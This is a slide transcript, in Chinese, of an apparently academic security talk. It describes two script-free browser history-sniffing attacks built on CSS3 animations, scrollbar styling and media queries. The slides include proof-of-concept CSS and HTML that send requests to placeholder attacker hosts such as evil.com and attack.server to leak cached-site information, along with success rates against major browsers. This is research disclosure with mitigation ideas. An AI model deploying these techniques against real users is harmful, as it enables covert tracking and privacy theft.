Download slides

Survey
yes no Was this document useful for you?
   Thank you for your participation!

* Your assessment is very important for improving the work of artificial intelligence, which forms the content of this project

Document related concepts
no text concepts found
Transcript
不依赖于脚本的浏览历史嗅探
梁彬
中国人民大学信息学院
2014.11
1
1. 背景
• 现代软件系统日益复杂,大大地增加了对其安全性分析的难度。
同时,软件系统中不断引入的新特征还可能导致攻击面(Attack
Surface)的扩大。
HTML、CSS3解
析渲染
JavaScript
解释器
各种格式的
图片解析及
渲染
PDF 等 多 种
格式的文档
显示
插件、扩展
多种协议
的客户端
( http 、
https
、
ftp…)
苛刻的性能
要求
各种格式的
音频、视频
播放
……
苛刻的容错
性要求
苛刻的安全
性要求
苛刻的兼容
性要求
本报告以主流浏览器中CSS3特性相关的一种微妙的无脚本浏览器
历史嗅探攻击为例,探讨复杂大型系统中安全风险分析的挑战。
2
1. 背景
• 历史嗅探 (History Sniffing)
1. 诱使攻击目标用户访问
一个嗅探网页
攻击目标
嗅探网页
2. 嗅探页面探测目标用户
访问过的URL并发送给攻
击者.
攻击目标访问
过的URL列表
攻击者
3. 攻击者根据攻击目标访问过的网站发起进一步利用或攻击:
有目的地投放广告
窃取用户隐私
有目的地进行钓鱼攻击
……
3
1. 背景
• 传统的历史嗅探攻击技术依赖于执行一段客户端脚本程
序(如JavaScript)。现今,浏览器中引入了多种防止脚
本执行的机制:Script Blockers、Script Filters、HTML5
iframe sandbox、Content Security Policy (CSP)
• 我们发现浏览器在实现新一代样式表CSS3时存在一些可
被利用的缺陷,据此构建了2种无需执行客户端脚本的
历史嗅探攻击方法:
– 基于度量的嗅探
– 基于比较的嗅探
• 这两种攻击方法能够成功应用于所有主流的浏览器
IE
Chrome
Safari
Firefox
Dolphin
Android Browser
4
可利用的CSS3特征
• CSS Animation,能被用作一个精确的计时器
DIV
DIV
DIV
400px
500px
200px
img
time
start
(0%)
500ms
(50%)
1000ms
(100%)
div {
height: 500px; width: 500px;
overflow: auto;
border:1px solid #000;
-webkit-animation-duration:1000ms;
-webkit-animation-name: scaling;
}
@-webkit-keyframes scaling {
0%
{ height: 500px; width: 400px; }
50% { height: 400px; width: 400px; }
100% { height: 200px; width: 200px; }
}
CSS Style
5
可利用的CSS3特征
• CSS Scrollbar Customization,可被用于观察容器中内
嵌内容的渲染并触发一个远程访问请求,即更换
track piece的背景(适合于Webkit内核的浏览器)
div
vertical track piece
div::-webkit-scrollbar-track-piece
:vertical:increment {
background: url("http://evil.com/yellow.png");
}
CSS Style
horizontal track piece
6
可利用的CSS3特征
• CSS Media Queries ,可被用于观察容器中内嵌内容
的渲染并触发一个远程访问请求(适合于所有主流
浏览器)
@media screen and (min-width: 350px){
body{ background: url("http://evil.com/red.png"); }
}
iframe
iframe
width:400px
@media screen and (max-width: 250px){
body{ background: url("http://evil.com/green.png"); }
}
CSS Style
width:200px
7
基于度量的嗅探
• PoC:嗅探用户是否访问过NSF(NSF的logo是否在用
户浏览器缓存中?)
高度: 71px
NSF logo
<html>
<head>
<link href="css.css" type="text/css" />
</head>
<body>
<div class="attack">
<img id="theImg" src=
"http://www.nsf.gov/images/nsf_logo.png" />
</div>
</body>
</html>
Attack Page
div.attack {
height: 72px;
overflow-y: auto;
-webkit-animation-duration:35ms; //嗅探窗口长度
-webkit-animation-name: sniff_animation;
}
div.attack::-webkit-scrollbar-track-piece:vertical:increment {
background: url(http://attack.server/nsfvisited);
}
@-webkit-keyframes sniff_animation {
0% { height: 70px; } //小于NSF logo的高度
100% { height: 72px;} //大于NSF logo的高度
}
CSS Style
当NSF logo在35ms内装载,将发送一请求
8
基于度量的嗅探
• Demonstration
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
高度: 70px
Tch
Tx
Tcm
time
当NSF logo未在Cache中时
•Tas :动画开始时间
• Tch :缓存命中平均时间
• Tx :时间窗口长度
• Tcm :缓存未命中平均时间
9
基于度量的嗅探
• Demonstration
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
Tch
Tx
高度: 72px
Tcm
time
当NSF logo未在Cache中时
10
基于度量的嗅探
• Demonstration
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
Tch
Tx
Tcm
高度: 72px
time
当NSF logo未在Cache中时
11
基于度量的嗅探
• Demonstration
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
高度: 70px
Tch
Tx
当NSF logo在Cache中时
Tcm
time
12
基于度量的嗅探
• Demonstration
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
Tch
高度: 70px
Tx
当NSF logo在Cache中时
Tcm
time
13
基于度量的嗅探
• Demonstration
由于容器高度不够,将会出现一个track
piece,触发一个发往攻击者的请求
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
Tch
高度: 70px
Tx
当NSF logo在Cache中时
Tcm
time
14
基于度量的嗅探
• Demonstration
<div class="baseline">
<img src="http://url_nfs_logo.png ">
</div>
Tas
Tch
Tx
当NSF logo在Cache中时
高度: 72px
Tcm
time
15
基于度量的嗅探
• Demonstration
Tas
Tch
Tx
Tcm
time
当NSF logo未在Cache中时
触发一个发往攻击者的请求
Tas
Tch
Tx
当NSF logo在Cache中时
Tcm
time
16
基于度量的嗅探
• 攻击实验
– 在880次测试中,仅仅有9个误报 (1.02%) 和 17个漏报 (1.93%)
Browsers
Chrome 26.0
Test times
200
Cached
Success
190
Fail
10
Non-Cached
Test times
Success
200
199
Fail
1
Safari 5.1.4
200
194
6
200
193
7
Android Browser 4.2
20
19
1
20
20
0
Dolphin 9.1.0
20
20
0
20
19
1
17
基于比较的嗅探
• PoC
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
......
<iframe src="BaselineQuery.html"
width=100% />
web page
<style>
@media screen and (min-width: 390px){
body{
baseline
background:url("http://attack.server/BASELINE");
images
}
}
</style>
Baseline Query
iframe
table
<img src="http://url_nfs_logo.png>
<iframe src= "TargeteQuery.html"
width=100% />
iframe
<style>
@media screen and (min-width: 390px){
body{
background:url("http://attack.server/TARGET");
}
}
</style>
Target Query
18
基于比较的嗅探
• Demonstration
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
web page
baseline
images
......
<iframe src="BaselineQuery.html"
width=100% />
iframe
table
<img src="http://url_nfs_logo.png>
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo未在Cache中时
iframe
19
基于比较的嗅探
• Demonstration
web page
Baseline logo图片被首先渲染
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
baseline
images
......
<iframe src="BaselineQuery.html"
width=100% />
iframe
table
<img src="http://url_nfs_logo.png>
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo未在Cache中时
iframe
20
基于比较的嗅探
• Demonstration
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
web page
baseline
images
Baseline对应的Iframe宽度被自动变
为和logo图片一样宽(大于390px).
......
<iframe src="BaselineQuery.html" width=100% />
iframe
table
<img src="http://url_nfs_logo.png>
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo未在Cache中时
iframe
21
基于比较的嗅探
• Demonstration
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
web page
baseline
images
......
<iframe src="BaselineQuery.html" width=100% />
iframe
table
media query被触发,向攻击者
发送一个 BASELINE 请求
<img src="http://url_nfs_logo.png>
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo未在Cache中时
iframe
22
基于比较的嗅探
• Demonstration
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
web page
baseline
images
......
<iframe src="BaselineQuery.html" width=100% />
iframe
table
<img src="http://url_nfs_logo.png>
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo未在Cache中时
iframe
23
基于比较的嗅探
• Demonstration
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
web page
baseline
images
......
<iframe src="BaselineQuery.html" width=100% />
iframe
table
嗅探目标logo图片会在至少一个
Baseline图片被渲染完成后才渲染
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo未在Cache中时
iframe
24
基于比较的嗅探
• Demonstration
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
web page
baseline
images
......
<iframe src="BaselineQuery.html" width=100% />
iframe
table
<iframe src= "TargeteQuery.html" width=100% />
iframe
media query被触发,向攻击者发送一
个 TARGET请求
当NSF logo未在Cache中时
25
基于比较的嗅探
• Demonstration
web page
baseline
images
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
......
iframe
<iframe src="BaselineQuery.html"
width=100% />
table
<img src="http://url_nfs_logo.png>
iframe
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo在Cache中时
26
基于比较的嗅探
• Demonstration
web page
baseline
images
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
......
iframe
<iframe src="BaselineQuery.html"
width=100% />
table
目标 logo图片被首先渲染
iframe
<iframe src= "TargeteQuery.html"
width=100% />
当NSF logo在Cache中时
27
基于比较的嗅探
• Demonstration
web page
baseline
images
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
......
iframe
<iframe src="BaselineQuery.html"
width=100% />
table
media query被触发,向攻击者发送一
个 TARGET请求
iframe
<iframe src= "TargeteQuery.html" width=100% />
当NSF logo在Cache中时
28
基于比较的嗅探
• Demonstration
web page
Baseline logo图片会在目标logo图片被
渲染完成后才渲染.
baseline
images
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
......
iframe
<iframe src="BaselineQuery.html"
width=100% />
table
iframe
<iframe src= "TargeteQuery.html" width=100% />
当NSF logo在Cache中时
29
基于比较的嗅探
• Demonstration
web page
baseline
images
media query被触发,向攻击者发送一个
BASELINE请求
<img src="http://url_nfs_logo.png
?id=FKKVEC"> <br />
<img src="http://url_nfs_logo.png
?id=PNHJRE">
<br />
......
iframe
<iframe src="BaselineQuery.html" width=100% />
table
iframe
<iframe src= "TargeteQuery.html" width=100% />
当NSF logo在Cache中时
30
基于比较的嗅探
• 通过控制浏览器最大并发连接(用额外的连接占用),可使
得浏览器发出的请求依次到达攻击者服务器
BASELINE 请求先发出,并先
到达攻击者服务器
TARGET请求先发出,并先到
达攻击者服务器
TARGET请求后发出,并后到
达攻击者服务器
BASELINE 请求后发出,并后
到达攻击者服务器
当NSF logo未在Cache中时
当NSF logo在Cache中时
31
基于比较的嗅探
• 攻击实验
– 在1680次测试中,仅仅有3个误报 (0.18%) 和 2个漏报 (0.12%)
Browsers
IE 10.0.9
Test times
200
Cached
Success
199
Fail
1
Non-Cached
Test times
Success
200
200
Fail
0
Firefox 19.0
200
200
0
200
198
2
Chrome 26.0
200
200
0
200
200
0
Safari 5.1.4
200
199
1
200
199
1
Android Browser 4.2
20
20
0
20
20
0
Dolphin 9.1.0
20
20
0
20
20
0
32
讨论
• 如何检测或避免出此类缺陷?
– 传统的静态分析和动态分析技术力有不逮
– 对浏览器进行系统化的隐蔽信道(Covert Channel)建
模和分析(由于浏览器的复杂,工作难度很大)
– 实施更细粒度的访问控制
• 对已知攻击可能的缓解方案:
– 破坏已知的隐蔽信道,例如随机化对象的渲染次序,
抵御基于比较的嗅探攻击(新版Chrome已经实施)
– 在Cache机制中引入同源策略(Same Origin Policy),
使得原始访问形成的Cache对嗅探网页不可用(会带来
一定的存储和性能开销)
–…
33
小结
• 当前主流浏览器中的CSS3及HTML的解析渲染
中存在有信息嗅探和泄露的缺陷(可能还有更
多的)。即使是在脚本阻断技术保护下,也仍
然存在严重的隐私信息泄露风险
• 功能复杂的现代浏览器在设计实现时面临很大
的安全压力,很难避免引入可被利用的缺陷
• 面对复杂系统,当前的安全分析技术面临重大
挑战
– 深入的系统化分析难以开展
– 难以构建必要的安全缺陷知识
34
Q&A
谢谢大家!
35
Related documents